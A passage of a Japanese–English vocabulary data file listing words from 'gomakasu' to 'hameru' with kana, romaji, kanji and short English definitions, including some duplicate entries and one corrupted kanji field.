your....\"\n\t},\n\n\t{\n\t\t'kana':'ごまかす',\n\t\t'romaji':'gomakasu',\n\t\t'kanji':'誤魔化す',\n\t\t'definition':\"to deceive;to falsify;to misrepresent\"\n\t},\n\n\t{\n\t\t'kana':'ごめん',\n\t\t'romaji':'gomen',\n\t\t'kanji':'御免',\n\t\t'definition':\"your pardon;declining (something);dismissal;permission\"\n\t},\n\n\t{\n\t\t'kana':'ごめんください',\n\t\t'romaji':'gomenkudasai',\n\t\t'kanji':'御免ください',\n\t\t'definition':\"May I come in?\"\n\t},\n\n\t{\n\t\t'kana':'ごめんなさい',\n\t\t'romaji':'gomennasai',\n\t\t'kanji':'御免なさい',\n\t\t'definition':\"I beg your pardon;excuse me\"\n\t},\n\n\t{\n\t\t'kana':'ごみ',\n\t\t'romaji':'gomi',\n\t\t'kanji':'塵',\n\t\t'definition':\"rubbish;trash;garbage\"\n\t},\n\n\t{\n\t\t'kana':'ごみ',\n\t\t'romaji':'gomi',\n\t\t'kanji':'塵',\n\t\t'definition':\"rubbish;trash;garbage\"\n\t},\n\n\t{\n\t\t'kana':'ゴム',\n\t\t'romaji':'gomu',\n\t\t'kanji':'',\n\t\t'definition':\"gum;rubber;eraser\"\n\t},\n\n\t{\n\t\t'kana':'ごらく',\n\t\t'romaji':'goraku',\n\t\t'kanji':'娯楽',\n\t\t'definition':\"pleasure;amusement\"\n\t},\n\n\t{\n\t\t'kana':'ごらん',\n\t\t'romaji':'goran',\n\t\t'kanji':'御覧',\n\t\t'definition':\"look;inspection;try\"\n\t},\n\n\t{\n\t\t'kana':'ごらんなさい',\n\t\t'romaji':'gorannasai',\n\t\t'kanji':'御覧なさい',\n\t\t'definition':\"(please) look;(please) try to do\"\n\t},\n\n\t{\n\t\t'kana':'ごさ',\n\t\t'romaji':'gosa',\n\t\t'kanji':'誤差',\n\t\t'definition':\"error\"\n\t},\n\n\t{\n\t\t'kana':'ごと',\n\t\t'romaji':'goto',\n\t\t'kanji':'毎',\n\t\t'definition':\"each respectively\"\n\t},\n\n\t{\n\t\t'kana':'ごと',\n\t\t'romaji':'goto',\n\t\t'kanji':'毎',\n\t\t'definition':\"each respectively\"\n\t},\n\n\t{\n\t\t'kana':'ごと',\n\t\t'romaji':'goto',\n\t\t'kanji':'毎',\n\t\t'definition':\"each respectively\"\n\t},\n\n\t{\n\t\t'kana':'ごう',\n\t\t'romaji':'gou',\n\t\t'kanji':'号',\n\t\t'definition':\"number;issue\"\n\t},\n\n\t{\n\t\t'kana':'ごう',\n\t\t'romaji':'gou',\n\t\t'kanji':'業',\n\t\t'definition':\"Buddhist karma;actions committed in a former life\"\n\t},\n\n\t{\n\t\t'kana':'ごう',\n\t\t'romaji':'gou',\n\t\t'kanji':'濠',\n\t\t'definition':\"moat\"\n\t},\n\n\t{\n\t\t'kana':'ごうどう',\n\t\t'romaji':'goudou',\n\t\t'kanji':'合同',\n\t\t'definition':\"combination;incorporation;union;amalgamation;fusion;congruence\"\n\t},\n\n\t{\n\t\t'kana':'ごうぎ',\n\t\t'romaji':'gougi',\n\t\t'kanji':'強気',\n\t\t'definition':\"great;grand\"\n\t},\n\n\t{\n\t\t'kana':'ごうぎ',\n\t\t'romaji':'gougi',\n\t\t'kanji':'合議',\n\t\t'definition':\"consultation;conference\"\n\t},\n\n\t{\n\t\t'kana':'ごうい',\n\t\t'romaji':'goui',\n\t\t'kanji':'合意',\n\t\t'definition':\"agreement;consent;mutual understanding\"\n\t},\n\n\t{\n\t\t'kana':'ごういん',\n\t\t'romaji':'gouin',\n\t\t'kanji':'強引',\n\t\t'definition':\"overbearing;coercive;pushy;forcible;high-handed\"\n\t},\n\n\t{\n\t\t'kana':'ごうか',\n\t\t'romaji':'gouka',\n\t\t'kanji':'豪華',\n\t\t'definition':\"wonderful;gorgeous;splendor;pomp;extravagance\"\n\t},\n\n\t{\n\t\t'kana':'ごうかく',\n\t\t'romaji':'goukaku',\n\t\t'kanji':'合格',\n\t\t'definition':\"success;passing (e.g. exam);eligibility\"\n\t},\n\n\t{\n\t\t'kana':'ごうけい',\n\t\t'romaji':'goukei',\n\t\t'kanji':'合計',\n\t\t'definition':\"sum total;total amount\"\n\t},\n\n\t{\n\t\t'kana':'ごうり',\n\t\t'romaji':'gouri',\n\t\t'kanji':'合理',\n\t\t'definition':\"rational\"\n\t},\n\n\t{\n\t\t'kana':'ごうりゅう',\n\t\t'romaji':'gouryuu',\n\t\t'kanji':'合流',\n\t\t'definition':\"confluence;union;linking up;merge\"\n\t},\n\n\t{\n\t\t'kana':'ごうせい',\n\t\t'romaji':'gousei',\n\t\t'kanji':'合成',\n\t\t'definition':\"synthesis;composition;synthetic;composite;mixed;combined;compound\"\n\t},\n\n\t{\n\t\t'kana':'ごうとう',\n\t\t'romaji':'goutou',\n\t\t'kanji':'強盗',\n\t\t'definition':\"robbery;burglary\"\n\t},\n\n\t{\n\t\t'kana':'ございます',\n\t\t'romaji':'gozaimasu',\n\t\t'kanji':'ご座います',\n\t\t'definition':\"to be (polite);to exist\"\n\t},\n\n\t{\n\t\t'kana':'ごぜん',\n\t\t'romaji':'gozen',\n\t\t'kanji':'午前',\n\t\t'definition':\"morning;A.M.;am\"\n\t},\n\n\t{\n\t\t'kana':'ぐあい',\n\t\t'romaji':'guai',\n\t\t'kanji':'具合',\n\t\t'definition':\"condition;state;manner;health\"\n\t},\n\n\t{\n\t\t'kana':'ぐち',\n\t\t'romaji':'guchi',\n\t\t'kanji':'愚痴',\n\t\t'definition':\"idle complaint;grumble\"\n\t},\n\n\t{\n\t\t'kana':'ぐん',\n\t\t'romaji':'gun',\n\t\t'kanji':'群',\n\t\t'definition':\"group (math)\"\n\t},\n\n\t{\n\t\t'kana':'ぐん',\n\t\t'romaji':'gun',\n\t\t'kanji':'郡',\n\t\t'definition':\"country;district\"\n\t},\n\n\t{\n\t\t'kana':'ぐん',\n\t\t'romaji':'gun',\n\t\t'kanji':'群',\n\t\t'definition':\"group (math)\"\n\t},\n\n\t{\n\t\t'kana':'ぐんび',\n\t\t'romaji':'gunbi',\n\t\t'kanji':'軍備',\n\t\t'definition':\"armaments;military preparations\"\n\t},\n\n\t{\n\t\t'kana':'ぐんじ',\n\t\t'romaji':'gunji',\n\t\t'kanji':'軍事',\n\t\t'definition':\"military affairs\"\n\t},\n\n\t{\n\t\t'kana':'ぐんかん',\n\t\t'romaji':'gunkan',\n\t\t'kanji':'軍艦',\n\t\t'definition':\"warship;battleship\"\n\t},\n\n\t{\n\t\t'kana':'ぐんぷく',\n\t\t'romaji':'gunpuku',\n\t\t'kanji':'軍服',\n\t\t'definition':\"military or naval uniform\"\n\t},\n\n\t{\n\t\t'kana':'ぐんしゅう',\n\t\t'romaji':'gunshuu',\n\t\t'kanji':'群集',\n\t\t'definition':\"(social) group;crowd;throng;mob;multitude\"\n\t},\n\n\t{\n\t\t'kana':'ぐんたい',\n\t\t'romaji':'guntai',\n\t\t'kanji':'軍隊',\n\t\t'definition':\"army;troops\"\n\t},\n\n\t{\n\t\t'kana':'グラフ',\n\t\t'romaji':'gurahu',\n\t\t'kanji':'',\n\t\t'definition':\"graph\"\n\t},\n\n\t{\n\t\t'kana':'ぐらい',\n\t\t'romaji':'gurai',\n\t\t'kanji':'',\n\t\t'definition':\"approximately\"\n\t},\n\n\t{\n\t\t'kana':'グラム',\n\t\t'romaji':'guramu',\n\t\t'kanji':'',\n\t\t'definition':\"gram;gramme\"\n\t},\n\n\t{\n\t\t'kana':'グランド',\n\t\t'romaji':'gurando',\n\t\t'kanji':'',\n\t\t'definition':\"gland;grand;(electrical) ground\"\n\t},\n\n\t{\n\t\t'kana':'グラス',\n\t\t'romaji':'gurasu',\n\t\t'kanji':'',\n\t\t'definition':\"glass;grass\"\n\t},\n\n\t{\n\t\t'kana':'グレー',\n\t\t'romaji':'gure-',\n\t\t'kanji':'',\n\t\t'definition':\"grey;gray\"\n\t},\n\n\t{\n\t\t'kana':'グループ',\n\t\t'romaji':'guru-pu',\n\t\t'kanji':'',\n\t\t'definition':\"group\"\n\t},\n\n\t{\n\t\t'kana':'ぐっすり',\n\t\t'romaji':'gussuri',\n\t\t'kanji':'',\n\t\t'definition':\"sound asleep;fast asleep\"\n\t},\n\n\t{\n\t\t'kana':'ぐたい',\n\t\t'romaji':'gutai',\n\t\t'kanji':'具体',\n\t\t'definition':\"concrete;tangible;material\"\n\t},\n\n\t{\n\t\t'kana':'ぐっと',\n\t\t'romaji':'guto',\n\t\t'kanji':'',\n\t\t'definition':\"firmly;fast;much;more\"\n\t},\n\n\t{\n\t\t'kana':'ぐうすう',\n\t\t'romaji':'guusuu',\n\t\t'kanji':'偶数',\n\t\t'definition':\"even number\"\n\t},\n\n\t{\n\t\t'kana':'ぐうぜん',\n\t\t'romaji':'guuzen',\n\t\t'kanji':'偶然',\n\t\t'definition':\"(by) chance;unexpectedly;suddenly;accident;fortuity\"\n\t},\n\n\t{\n\t\t'kana':'ぎゃく',\n\t\t'romaji':'gyaku',\n\t\t'kanji':'逆',\n\t\t'definition':\"reverse;opposite\"\n\t},\n\n\t{\n\t\t'kana':'ぎゃくてん',\n\t\t'romaji':'gyakuten',\n\t\t'kanji':'逆転',\n\t\t'definition':\"(sudden) change;reversal;turn-around;coming from behind (baseball)\"\n\t},\n\n\t{\n\t\t'kana':'ギャング',\n\t\t'romaji':'gyangu',\n\t\t'kanji':'',\n\t\t'definition':\"gang\"\n\t},\n\n\t{\n\t\t'kana':'ぎょぎょう',\n\t\t'romaji':'gyogyou',\n\t\t'kanji':'漁業',\n\t\t'definition':\"fishing (industry)\"\n\t},\n\n\t{\n\t\t'kana':'ぎょく',\n\t\t'romaji':'gyoku',\n\t\t'kanji':'玉',\n\t\t'definition':\"king (shogi)\"\n\t},\n\n\t{\n\t\t'kana':'ぎょせん',\n\t\t'romaji':'gyosen',\n\t\t'kanji':'漁船',\n\t\t'definition':\"fishing boat\"\n\t},\n\n\t{\n\t\t'kana':'ぎょそん',\n\t\t'romaji':'gyoson',\n\t\t'kanji':'漁村',\n\t\t'definition':\"fishing village\"\n\t},\n\n\t{\n\t\t'kana':'ぎょう',\n\t\t'romaji':'gyou',\n\t\t'kanji':'行',\n\t\t'definition':\"line;row;verse\"\n\t},\n\n\t{\n\t\t'kana':'ぎょうぎ',\n\t\t'romaji':'gyougi',\n\t\t'kanji':'行儀',\n\t\t'definition':\"manners\"\n\t},\n\n\t{\n\t\t'kana':'ぎょうじ',\n\t\t'romaji':'gyouji',\n\t\t'kanji':'行事',\n\t\t'definition':\"event;function\"\n\t},\n\n\t{\n\t\t'kana':'ぎょうむ',\n\t\t'romaji':'gyoumu',\n\t\t'kanji':'業務',\n\t\t'definition':\"business;affairs;duties;work\"\n\t},\n\n\t{\n\t\t'kana':'ぎょうれつ',\n\t\t'romaji':'gyouretsu',\n\t\t'kanji':'行列',\n\t\t'definition':\"line;procession;matrix (math)\"\n\t},\n\n\t{\n\t\t'kana':'ぎょうせい',\n\t\t'romaji':'gyousei',\n\t\t'kanji':'行政',\n\t\t'definition':\"administration\"\n\t},\n\n\t{\n\t\t'kana':'ぎょうせき',\n\t\t'romaji':'gyouseki',\n\t\t'kanji':'業績',\n\t\t'definition':\"achievement;performance;results;work;contribution\"\n\t},\n\n\t{\n\t\t'kana':'ぎょうしゃ',\n\t\t'romaji':'gyousha',\n\t\t'kanji':'業者',\n\t\t'definition':\"trader;merchant\"\n\t},\n\n\t{\n\t\t'kana':'ぎゅうにゅう',\n\t\t'romaji':'gyuunyuu',\n\t\t'kanji':'牛乳',\n\t\t'definition':\"(cow's) milk\"\n\t},\n\n\t{\n\t\t'kana':'は',\n\t\t'romaji':'ha',\n\t\t'kanji':'派',\n\t\t'definition':\"clique;faction;school\"\n\t},\n\n\t{\n\t\t'kana':'は',\n\t\t'romaji':'ha',\n\t\t'kanji':'葉',\n\t\t'definition':\"leaf\"\n\t},\n\n\t{\n\t\t'kana':'は',\n\t\t'romaji':'ha',\n\t\t'kanji':'歯',\n\t\t'definition':\"tooth\"\n\t},\n\n\t{\n\t\t'kana':'は',\n\t\t'romaji':'ha',\n\t\t'kanji':'刃',\n\t\t'definition':\"edge (of a sword)\"\n\t},\n\n\t{\n\t\t'kana':'はあく',\n\t\t'romaji':'haaku',\n\t\t'kanji':'把握',\n\t\t'definition':\"grasp;catch;understanding\"\n\t},\n\n\t{\n\t\t'kana':'はば',\n\t\t'romaji':'haba',\n\t\t'kanji':'幅',\n\t\t'definition':\"width;breadth\"\n\t},\n\n\t{\n\t\t'kana':'はばむ',\n\t\t'romaji':'habamu',\n\t\t'kanji':'阻む',\n\t\t'definition':\"to keep someone from doing;to stop;to prevent;to check;to hinder;to obstruct;to oppose;to thwart\"\n\t},\n\n\t{\n\t\t'kana':'はぶく',\n\t\t'romaji':'habuku',\n\t\t'kanji':'省く',\n\t\t'definition':\"to omit;to eliminate;to curtail;to economize\"\n\t},\n\n\t{\n\t\t'kana':'はち',\n\t\t'romaji':'hachi',\n\t\t'kanji':'鉢',\n\t\t'definition':\"a bowl;a pot;a basin;a flowerpot;a crown;a brainpan\"\n\t},\n\n\t{\n\t\t'kana':'はち',\n\t\t'romaji':'hachi',\n\t\t'kanji':'八',\n\t\t'definition':\"(num) eight\"\n\t},\n\n\t{\n\t\t'kana':'はちみつ',\n\t\t'romaji':'hachimitsu',\n\t\t'kanji':'蜂蜜',\n\t\t'definition':\"honey\"\n\t},\n\n\t{\n\t\t'kana':'はだ',\n\t\t'romaji':'hada',\n\t\t'kanji':'肌',\n\t\t'definition':\"skin;body;grain;texture;disposition\"\n\t},\n\n\t{\n\t\t'kana':'はだぎ',\n\t\t'romaji':'hadagi',\n\t\t'kanji':'肌着',\n\t\t'definition':\"underwear;lingerie;singlet;chemise\"\n\t},\n\n\t{\n\t\t'kana':'はだか',\n\t\t'romaji':'hadaka',\n\t\t'kanji':'裸',\n\t\t'definition':\"naked;nude;bare\"\n\t},\n\n\t{\n\t\t'kana':'はだし',\n\t\t'romaji':'hadashi',\n\t\t'kanji':'裸足',\n\t\t'definition':\"barefoot\"\n\t},\n\n\t{\n\t\t'kana':'はで',\n\t\t'romaji':'hade',\n\t\t'kanji':'派手',\n\t\t'definition':\"showy;loud;gay;flashy;gaudy\"\n\t},\n\n\t{\n\t\t'kana':'はえる',\n\t\t'romaji':'haeru',\n\t\t'kanji':'生える',\n\t\t'definition':\"to grow;to spring up;to cut (teeth)\"\n\t},\n\n\t{\n\t\t'kana':'はえる',\n\t\t'romaji':'haeru',\n\t\t'kanji':'映える',\n\t\t'definition':\"to shine;to look attractive;to look pretty\"\n\t},\n\n\t{\n\t\t'kana':'はがき',\n\t\t'romaji':'hagaki',\n\t\t'kanji':'葉書',\n\t\t'definition':\"postcard\"\n\t},\n\n\t{\n\t\t'kana':'はがす',\n\t\t'romaji':'hagasu',\n\t\t'kanji':'剥がす',\n\t\t'definition':\"to tear off;to peel off;to rip off;to strip off;to skin;to flay;to disrobe;to deprive of;to detach;to disconnect\"\n\t},\n\n\t{\n\t\t'kana':'はげます',\n\t\t'romaji':'hagemasu',\n\t\t'kanji':'励ます',\n\t\t'definition':\"to encourage;to cheer;to raise (the voice)\"\n\t},\n\n\t{\n\t\t'kana':'はげむ',\n\t\t'romaji':'hagemu',\n\t\t'kanji':'励む',\n\t\t'definition':\"to be zealous;to brace oneself;to endeavour;to strive;to make an effort\"\n\t},\n\n\t{\n\t\t'kana':'はげる',\n\t\t'romaji':'hageru',\n\t\t'kanji':'剥げる',\n\t\t'definition':\"to come off;to be worn off;to fade;to discolor\"\n\t},\n\n\t{\n\t\t'kana':'はげしい',\n\t\t'romaji':'hageshii',\n\t\t'kanji':'激しい',\n\t\t'definition':\"violent;vehement;intense;furious;tempestuous\"\n\t},\n\n\t{\n\t\t'kana':'はぐ',\n\t\t'romaji':'hagu',\n\t\t'kanji':'剥ぐ',\n\t\t'definition':\"to tear off;to peel off;to rip off;to strip off;to skin;to flay;to disrobe;to deprive of\"\n\t},\n\n\t{\n\t\t'kana':'はぐるま',\n\t\t'romaji':'haguruma',\n\t\t'kanji':'歯車',\n\t\t'definition':\"gear\"\n\t},\n\n\t{\n\t\t'kana':'はは',\n\t\t'romaji':'haha',\n\t\t'kanji':'母',\n\t\t'definition':\"mother\"\n\t},\n\n\t{\n\t\t'kana':'ははおや',\n\t\t'romaji':'hahaoya',\n\t\t'kanji':'母親',\n\t\t'definition':\"mother\"\n\t},\n\n\t{\n\t\t'kana':'はへん',\n\t\t'romaji':'hahen',\n\t\t'kanji':'破片',\n\t\t'definition':\"fragment;splinter;broken piece\"\n\t},\n\n\t{\n\t\t'kana':'はい',\n\t\t'romaji':'hai',\n\t\t'kanji':'',\n\t\t'definition':\"yes\"\n\t},\n\n\t{\n\t\t'kana':'はい',\n\t\t'romaji':'hai',\n\t\t'kanji':'',\n\t\t'definition':\"yes\"\n\t},\n\n\t{\n\t\t'kana':'はい',\n\t\t'romaji':'hai',\n\t\t'kanji':'肺',\n\t\t'definition':\"lung\"\n\t},\n\n\t{\n\t\t'kana':'はいぼく',\n\t\t'romaji':'haiboku',\n\t\t'kanji':'敗北',\n\t\t'definition':\"defeat (as a verb it means 'to be defeated')\"\n\t},\n\n\t{\n\t\t'kana':'はいぶん',\n\t\t'romaji':'haibun',\n\t\t'kanji':'配分',\n\t\t'definition':\"distribution;allotment\"\n\t},\n\n\t{\n\t\t'kana':'はいち',\n\t\t'romaji':'haichi',\n\t\t'kanji':'配置',\n\t\t'definition':\"arrangement (of resources);disposition\"\n\t},\n\n\t{\n\t\t'kana':'はいふ',\n\t\t'romaji':'haifu',\n\t\t'kanji':'配布',\n\t\t'definition':\"distribution\"\n\t},\n\n\t{\n\t\t'kana':'はいご',\n\t\t'romaji':'haigo',\n\t\t'kanji':'背後',\n\t\t'definition':\"back;rear\"\n\t},\n\n\t{\n\t\t'kana':'はいぐうしゃ',\n\t\t'romaji':'haiguusha',\n\t\t'kanji':'配偶者',\n\t\t'definition':\"spouse;wife;husband\"\n\t},\n\n\t{\n\t\t'kana':'はいいろ',\n\t\t'romaji':'haiiro',\n\t\t'kanji':'灰色',\n\t\t'definition':\"grey;gray;ashen\"\n\t},\n\n\t{\n\t\t'kana':'はいじょ',\n\t\t'romaji':'haijyo',\n\t\t'kanji':'排除',\n\t\t'definition':\"exclusion;removal;rejection\"\n\t},\n\n\t{\n\t\t'kana':'はいけい',\n\t\t'romaji':'haikei',\n\t\t'kanji':'背景',\n\t\t'definition':\"background;scenery;setting;circumstance\"\n\t},\n\n\t{\n\t\t'kana':'はいけい',\n\t\t'romaji':'haikei',\n\t\t'kanji':'拝啓',\n\t\t'definition':\"Dear (so and so)\"\n\t},\n\n\t{\n\t\t'kana':'はいけん',\n\t\t'romaji':'haiken',\n\t\t'kanji':'拝見',\n\t\t'definition':\"seeing;look at\"\n\t},\n\n\t{\n\t\t'kana':'はいき',\n\t\t'romaji':'haiki',\n\t\t'kanji':'廃棄',\n\t\t'definition':\"annullment;disposal;abandon;scrap;discarding;repeal\"\n\t},\n\n\t{\n\t\t'kana':'ハイキング',\n\t\t'romaji':'haikingu',\n\t\t'kanji':'',\n\t\t'definition':\"hiking\"\n\t},\n\n\t{\n\t\t'kana':'はいく',\n\t\t'romaji':'haiku',\n\t\t'kanji':'俳句',\n\t\t'definition':\"haiku poetry (17-syllable poem usually in 3 lines of 5 7 and 5 syllables)\"\n\t},\n\n\t{\n\t\t'kana':'はいきゅう',\n\t\t'romaji':'haikyuu',\n\t\t'kanji':'配給',\n\t\t'definition':\"distribution (eg. films rice)\"\n\t},\n\n\t{\n\t\t'kana':'はいれつ',\n\t\t'romaji':'hairetsu',\n\t\t'kanji':'配列',\n\t\t'definition':\"arrangement;array (programming)\"\n\t},\n\n\t{\n\t\t'kana':'はいりょ',\n\t\t'romaji':'hairyo',\n\t\t'kanji':'配慮',\n\t\t'definition':\"consideration;concern;forethought\"\n\t},\n\n\t{\n\t\t'kana':'はいさら',\n\t\t'romaji':'haisara',\n\t\t'kanji':'灰皿',\n\t\t'definition':\"ashtray\"\n\t},\n\n\t{\n\t\t'kana':'はいせん',\n\t\t'romaji':'haisen',\n\t\t'kanji':'敗戦',\n\t\t'definition':\"defeat;losing a war\"\n\t},\n\n\t{\n\t\t'kana':'はいしゃく',\n\t\t'romaji':'haishaku',\n\t\t'kanji':'拝借',\n\t\t'definition':\"borrowing\"\n\t},\n\n\t{\n\t\t'kana':'はいし',\n\t\t'romaji':'haishi',\n\t\t'kanji':'廃止',\n\t\t'definition':\"abolition;repeal\"\n\t},\n\n\t{\n\t\t'kana':'はいすい',\n\t\t'romaji':'haisui',\n\t\t'kanji':'排水',\n\t\t'definition':\"drainage\"\n\t},\n\n\t{\n\t\t'kana':'はいたつ',\n\t\t'romaji':'haitatsu',\n\t\t'kanji':'配達',\n\t\t'definition':\"delivery;distribution\"\n\t},\n\n\t{\n\t\t'kana':'はいゆう',\n\t\t'romaji':'haiyuu',\n\t\t'kanji':'俳優',\n\t\t'definition':\"actor;actress;player;performer\"\n\t},\n\n\t{\n\t\t'kana':'はじ',\n\t\t'romaji':'haji',\n\t\t'kanji':'恥',\n\t\t'definition':\"shame;embarrassment\"\n\t},\n\n\t{\n\t\t'kana':'はじく',\n\t\t'romaji':'hajiku',\n\t\t'kanji':'弾く',\n\t\t'definition':\"to flip;to snap\"\n\t},\n\n\t{\n\t\t'kana':'はじく',\n\t\t'romaji':'hajiku',\n\t\t'kanji':'弾く',\n\t\t'definition':\"to flip;to snap\"\n\t},\n\n\t{\n\t\t'kana':'はじまり',\n\t\t'romaji':'hajimari',\n\t\t'kanji':'始まり',\n\t\t'definition':\"origin;beginning\"\n\t},\n\n\t{\n\t\t'kana':'はじまる',\n\t\t'romaji':'hajimaru',\n\t\t'kanji':'始まる',\n\t\t'definition':\"to begin\"\n\t},\n\n\t{\n\t\t'kana':'はじめ',\n\t\t'romaji':'hajime',\n\t\t'kanji':'始め',\n\t\t'definition':\"beginning;start;origin\"\n\t},\n\n\t{\n\t\t'kana':'はじめまして',\n\t\t'romaji':'hajimemashite',\n\t\t'kanji':'始めまして',\n\t\t'definition':\"How do you do?;I am glad to meet you\"\n\t},\n\n\t{\n\t\t'kana':'はじめる',\n\t\t'romaji':'hajimeru',\n\t\t'kanji':'始める',\n\t\t'definition':\"to start;to begin\"\n\t},\n\n\t{\n\t\t'kana':'はじめる',\n\t\t'romaji':'hajimeru',\n\t\t'kanji':'始める',\n\t\t'definition':\"to start;to begin\"\n\t},\n\n\t{\n\t\t'kana':'はじめて',\n\t\t'romaji':'hajimete',\n\t\t'kanji':'���めて',\n\t\t'definition':\"for the first time\"\n\t},\n\n\t{\n\t\t'kana':'はじらう',\n\t\t'romaji':'hajirau',\n\t\t'kanji':'恥じらう',\n\t\t'definition':\"to feel shy;to be bashful;to blush\"\n\t},\n\n\t{\n\t\t'kana':'はじる',\n\t\t'romaji':'hajiru',\n\t\t'kanji':'恥じる',\n\t\t'definition':\"to feel ashamed\"\n\t},\n\n\t{\n\t\t'kana':'はか',\n\t\t'romaji':'haka',\n\t\t'kanji':'墓',\n\t\t'definition':\"grave;tomb\"\n\t},\n\n\t{\n\t\t'kana':'はかち',\n\t\t'romaji':'hakachi',\n\t\t'kanji':'墓地',\n\t\t'definition':\"cemetery;graveyard\"\n\t},\n\n\t{\n\t\t'kana':'はかどる',\n\t\t'romaji':'hakadoru',\n\t\t'kanji':'捗る',\n\t\t'definition':\"to make progress;to move right ahead (with the work);to advance\"\n\t},\n\n\t{\n\t\t'kana':'はかい',\n\t\t'romaji':'hakai',\n\t\t'kanji':'破壊',\n\t\t'definition':\"destruction\"\n\t},\n\n\t{\n\t\t'kana':'はかない',\n\t\t'romaji':'hakanai',\n\t\t'kanji':'果ない',\n\t\t'definition':\"fleeting;transient;short-lived;momentary;vain;fickle;miserable;empty;ephemeral\"\n\t},\n\n\t{\n\t\t'kana':'はかり',\n\t\t'romaji':'hakari',\n\t\t'kanji':'秤',\n\t\t'definition':\"scales;weighing machine\"\n\t},\n\n\t{\n\t\t'kana':'はかる',\n\t\t'romaji':'hakaru',\n\t\t'kanji':'測る',\n\t\t'definition':\"to measure;to weigh;to survey;to time (sound gauge estimate)\"\n\t},\n\n\t{\n\t\t'kana':'はかる',\n\t\t'romaji':'hakaru',\n\t\t'kanji':'量る',\n\t\t'definition':\"to measure;to weigh;to survey;to time (sound gauge estimate)\"\n\t},\n\n\t{\n\t\t'kana':'はかる',\n\t\t'romaji':'hakaru',\n\t\t'kanji':'計る',\n\t\t'definition':\"to measure;to weigh;to survey;to time (sound gauge estimate)\"\n\t},\n\n\t{\n\t\t'kana':'はかる',\n\t\t'romaji':'hakaru',\n\t\t'kanji':'図る',\n\t\t'definition':\"to plot;to attempt;to plan;to take in;to deceive;to devise;to design;to refer A to B\"\n\t},\n\n\t{\n\t\t'kana':'はかる',\n\t\t'romaji':'hakaru',\n\t\t'kanji':'諮る',\n\t\t'definition':\"to consult with;to confer\"\n\t},\n\n\t{\n\t\t'kana':'はかせ',\n\t\t'romaji':'hakase',\n\t\t'kanji':'博士',\n\t\t'definition':\"doctorate;PhD\"\n\t},\n\n\t{\n\t\t'kana':'はけん',\n\t\t'romaji':'haken',\n\t\t'kanji':'派遣',\n\t\t'definition':\"dispatch;send\"\n\t},\n\n\t{\n\t\t'kana':'はっき',\n\t\t'romaji':'haki',\n\t\t'kanji':'発揮',\n\t\t'definition':\"exhibition;demonstration;utilization;display\"\n\t},\n\n\t{\n\t\t'kana':'はき',\n\t\t'romaji':'haki',\n\t\t'kanji':'破棄',\n\t\t'definition':\"revocation;annulment;breaking (e.g. treaty)\"\n\t},\n\n\t{\n\t\t'kana':'はきはき',\n\t\t'romaji':'hakihaki',\n\t\t'kanji':'',\n\t\t'definition':\"lucidly\"\n\t},\n\n\t{\n\t\t'kana':'はきけ',\n\t\t'romaji':'hakike',\n\t\t'kanji':'吐き気',\n\t\t'definition':\"nausea;sickness in the stomach\"\n\t},\n\n\t{\n\t\t'kana':'はっけん',\n\t\t'romaji':'hakken',\n\t\t'kanji':'発見',\n\t\t'definition':\"discovery\"\n\t},\n\n\t{\n\t\t'kana':'はっきり',\n\t\t'romaji':'hakkiri',\n\t\t'kanji':'',\n\t\t'definition':\"clearly;plainly;distinctly\"\n\t},\n\n\t{\n\t\t'kana':'はっこう',\n\t\t'romaji':'hakkou',\n\t\t'kanji':'発行',\n\t\t'definition':\"issue (publications)\"\n\t},\n\n\t{\n\t\t'kana':'はっくつ',\n\t\t'romaji':'hakkutsu',\n\t\t'kanji':'発掘',\n\t\t'definition':\"excavation;exhumation\"\n\t},\n\n\t{\n\t\t'kana':'はこ',\n\t\t'romaji':'hako',\n\t\t'kanji':'箱',\n\t\t'definition':\"box\"\n\t},\n\n\t{\n\t\t'kana':'はこぶ',\n\t\t'romaji':'hakobu',\n\t\t'kanji':'運ぶ',\n\t\t'definition':\"to transport\"\n\t},\n\n\t{\n\t\t'kana':'はく',\n\t\t'romaji':'haku',\n\t\t'kanji':'泊',\n\t\t'definition':\"counter for nights of a stay\"\n\t},\n\n\t{\n\t\t'kana':'はく',\n\t\t'romaji':'haku',\n\t\t'kanji':'掃く',\n\t\t'definition':\"to sweep;to brush;to gather up\"\n\t},\n\n\t{\n\t\t'kana':'はく',\n\t\t'romaji':'haku',\n\t\t'kanji':'履く',\n\t\t'definition':\"to wear;to put on (lower body)\"\n\t},\n\n\t{\n\t\t'kana':'はく',\n\t\t'romaji':'haku',\n\t\t'kanji':'掃く',\n\t\t'definition':\"to sweep;to brush;to gather up\"\n\t},\n\n\t{\n\t\t'kana':'はくぶつかん',\n\t\t'romaji':'hakubutsukan',\n\t\t'kanji':'博物館',\n\t\t'definition':\"museum\"\n\t},\n\n\t{\n\t\t'kana':'はくがい',\n\t\t'romaji':'hakugai',\n\t\t'kanji':'迫害',\n\t\t'definition':\"persecution\"\n\t},\n\n\t{\n\t\t'kana':'はくじゃく',\n\t\t'romaji':'hakujyaku',\n\t\t'kanji':'薄弱',\n\t\t'definition':\"feebleness;weakness;weak\"\n\t},\n\n\t{\n\t\t'kana':'はくじょう',\n\t\t'romaji':'hakujyou',\n\t\t'kanji':'白状',\n\t\t'definition':\"confession\"\n\t},\n\n\t{\n\t\t'kana':'はくしゅ',\n\t\t'romaji':'hakushu',\n\t\t'kanji':'拍手',\n\t\t'definition':\"clapping hands;applause\"\n\t},\n\n\t{\n\t\t'kana':'はま',\n\t\t'romaji':'hama',\n\t\t'kanji':'浜',\n\t\t'definition':\"beach;seashore\"\n\t},\n\n\t{\n\t\t'kana':'はまべ',\n\t\t'romaji':'hamabe',\n\t\t'kanji':'浜辺',\n\t\t'definition':\"beach;foreshore\"\n\t},\n\n\t{\n\t\t'kana':'はまる',\n\t\t'romaji':'hamaru',\n\t\t'kanji':'填まる',\n\t\t'definition':\"to get into;to go into;to fit;to be fit for;to suit;to fall into;to plunge into;to be deceived;to be taken in;to fall into a trap;to be addicted to;to be deep into\"\n\t},\n\n\t{\n\t\t'kana':'はめる',\n\t\t'romaji':'hameru',\n\t\t'kanji':'填める',\n\t\t'definition':\"to get in;to insert;to put on;to make 